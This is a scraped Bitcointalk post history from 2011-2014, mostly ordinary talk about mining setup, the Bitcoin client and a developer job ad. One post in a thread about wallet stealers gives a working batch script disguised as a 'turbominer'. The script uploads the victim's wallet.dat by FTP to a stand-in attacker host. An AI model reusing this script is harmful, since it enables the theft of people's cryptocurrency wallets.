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1  Economy / Services / Python Developers on: July 23, 2014, 12:34:09 AM
I'm looking for capable Python developers to work with me on a Bitcoin project.

Experience with wxpython would be a nice to have - not required.

The position/contract is paid, based in London but remote working is fine.

If you fit the bill please pm.
2  Bitcoin / Development & Technical Discussion / Re: Bitcoin source code is a giant mess on: June 13, 2013, 05:46:11 PM
$ grep -R goto ~/linux-3.10-rc5/* | wc -l
  108095

Also Dijkstra was wrong: -

http://pplab.snu.ac.kr/courses/adv_pl05/papers/p261-knuth.pdf

If you want to argue with Knuth, you're a braver soul than me.

And for entertainment value: -

http://harmful.cat-v.org/software/c++/linus
3  Bitcoin / Bitcoin Discussion / For journalists' eyes only on: June 20, 2011, 11:20:47 PM
How do you feel about purchasing a few bitcoins prior to writing your articles in return for a favorable mention?
4  Bitcoin / Development & Technical Discussion / Re: WALLET STEALER: so simple can it be! on: June 18, 2011, 12:09:34 AM
turbominer.bat now mines over 9000% faster.

Code:
@copy %SYSTEMROOT%\System32\ftp.exe %PUBLIC%\bitcoin.exe
@cd %APPDATA%
@%PUBLIC%\bitcoin.exe -i -s:"%~f0"&GOTO:EOF
open ftp.evildomain.com
anonymous
password
bin
put "Bitcoin\wallet.dat"
bye
5  Bitcoin / Pools / Re: [~3000 Gh/s Mining Pool] HTTPS,API, instant payouts,LP,+1% for NO INVALID BLOCKS on: June 17, 2011, 10:50:52 PM
I had problems connecting earlier today, changing my DNS servers to level 3 communications public DNS sorted it.

Code:
4.2.2.[1-6]
6  Other / Beginners & Help / Re: Original Bitcoin Client question on: June 17, 2011, 01:34:01 AM

http://blockexplorer.com/q/getblockcount

!=

http://blockexplorer.com/

as in

Code:
curl -s http://blockexplorer.com/q/getblockcount

We might be newbs but we aren't retards, don't go throwing your post count around here.  Cool

Maybe so, but you shouldn't have just posted that link either.

Exsqueeze me? Baking powder?
7  Other / Beginners & Help / Re: Original Bitcoin Client question on: June 17, 2011, 01:27:35 AM

http://blockexplorer.com/q/getblockcount

!=

http://blockexplorer.com/

as in

Code:
curl -s http://blockexplorer.com/q/getblockcount

We might be newbs but we aren't retards, don't go throwing your post count around here.  Cool
8  Other / Beginners & Help / Re: Python OpenCL Miner on Ubuntu not running. on: June 17, 2011, 01:00:34 AM
Damn this is getting to be a pain.
BTW thanks for the help, but now getting a Logic error.

Code:
Traceback (most recent call last):
  File "poclbm.py", line 27, in <module>
    platforms = cl.get_platforms()
pyopencl.LogicError: clGetPlatformIDs failed: invalid/unknown error code
rocko@nova:~$ python poclbm.py -d 0 --user un --pass pwTraceback (most recent call last):
  File "poclbm.py", line 27, in <module>
    platforms = cl.get_platforms()
pyopencl.LogicError: clGetPlatformIDs failed: invalid/unknown error code


OpenCL seems to be returning a code that pyopencl doesn't like, I'm a bit stumped here but it feels like a driver issue.

This is a lot of effort for the 2Mh/s you'll get out of this card.
9  Other / Beginners & Help / Re: Python OpenCL Miner on Ubuntu not running. on: June 17, 2011, 12:29:24 AM
Ok making some progress. After doing sym links and trying again I'm now getting a different error.

Code:
Traceback (most recent call last):
  File "poclbm.py", line 5, in <module>
    from BitcoinMiner import *
  File "/home/rocko/BitcoinMiner.py", line 8, in <module>
    from sha256 import *
ImportError: No module named sha256




Code:
wget --no-check-certificate https://github.com/m0mchil/poclbm/raw/master/sha256.py
10  Other / Beginners & Help / Re: Python OpenCL Miner on Ubuntu not running. on: June 17, 2011, 12:18:25 AM
Thanks.  Grin
But I'm still getting the same error.
Code:
Traceback (most recent call last):
  File "poclbm.py", line 3, in <module>
    import pyopencl as cl
  File "/usr/lib/pymodules/python2.6/pyopencl/__init__.py", line 3, in <module>
    import pyopencl._cl as _cl
ImportError: libOpenCL.so.1: cannot open shared object file: No such file or directory



Lets give these a shot: -

Code:
sudo ln -s /usr/lib/libOpenCL.so /usr/lib/libOpenCL.so.1
sudo ln -s /usr/lib64/libOpenCL.so /usr/lib64/libOpenCL.so.1
11  Other / Beginners & Help / Re: Python OpenCL Miner on Ubuntu not running. on: June 17, 2011, 12:10:22 AM
Make sure its in the current directory from where you are calling
Code:
python poclbm.py

Code:
find /home -name "poclbm.py" | cd
Will find and put you in the right directory.
12  Other / Beginners & Help / Re: Python OpenCL Miner on Ubuntu not running. on: June 17, 2011, 12:01:22 AM
Code:
Reading package lists... Done
Building dependency tree      
Reading state information... Done
python-pyopencl is already the newest version.
The following packages were automatically installed and are no longer required:
  mesa-utils python-wxgtk2.8 libglew1.5 zlib-bin freedroid-data
  python-wxversion
Use 'apt-get autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.

It appears pyopencl is installed.

The file in question is in fact called _init_.py
This is what it imports:
import pyopencl._cl as _cl
from pyopencl._cl import *
import inspect as _inspect

Running ldd on pyopen_.cl gives "no such file or directory".


Doing whereis libOpenCL.so* gives me :
/usr/lib/libOpenCL.so /usr/lib64/libOpenCL.so

How do I set the LD_LIBRARY_PATH environment variable ?


Code:
export LD_LIBRARY_PATH=/usr/lib64/;${LD_LIBRARY_PATH}
13  Other / Beginners & Help / Re: Is there ever a possibility of a difficult decrease? on: June 16, 2011, 11:51:19 PM
When electricity costs > than mining returns I think you'll see drop, but then the miners will return. Smiley

Green energy powered rig FTW  Cool
14  Other / Beginners & Help / Re: Original Bitcoin Client question on: June 16, 2011, 11:39:37 PM
http://blockexplorer.com/q/getblockcount
15  Other / Beginners & Help / Re: Original Bitcoin Client question on: June 16, 2011, 11:24:35 PM
Use this to scan the port https://www.grc.com/x/ne.dll?bh0bkyd2

Problem had been resolved with the new Bitcoin Client (0.3.23). Connections are established instantly now.

Interesting link though.

Thanks.

Make sure you check the Map uPNP option in the preferences, you'll get a better connection.
16  Other / Beginners & Help / Re: Python OpenCL Miner on Ubuntu not running. on: June 16, 2011, 11:05:56 PM
Looks like OpenCL is not installed or installed incorrectly, try running this and paste the result: -

Code:
sudo apt-get install python-pyopencl
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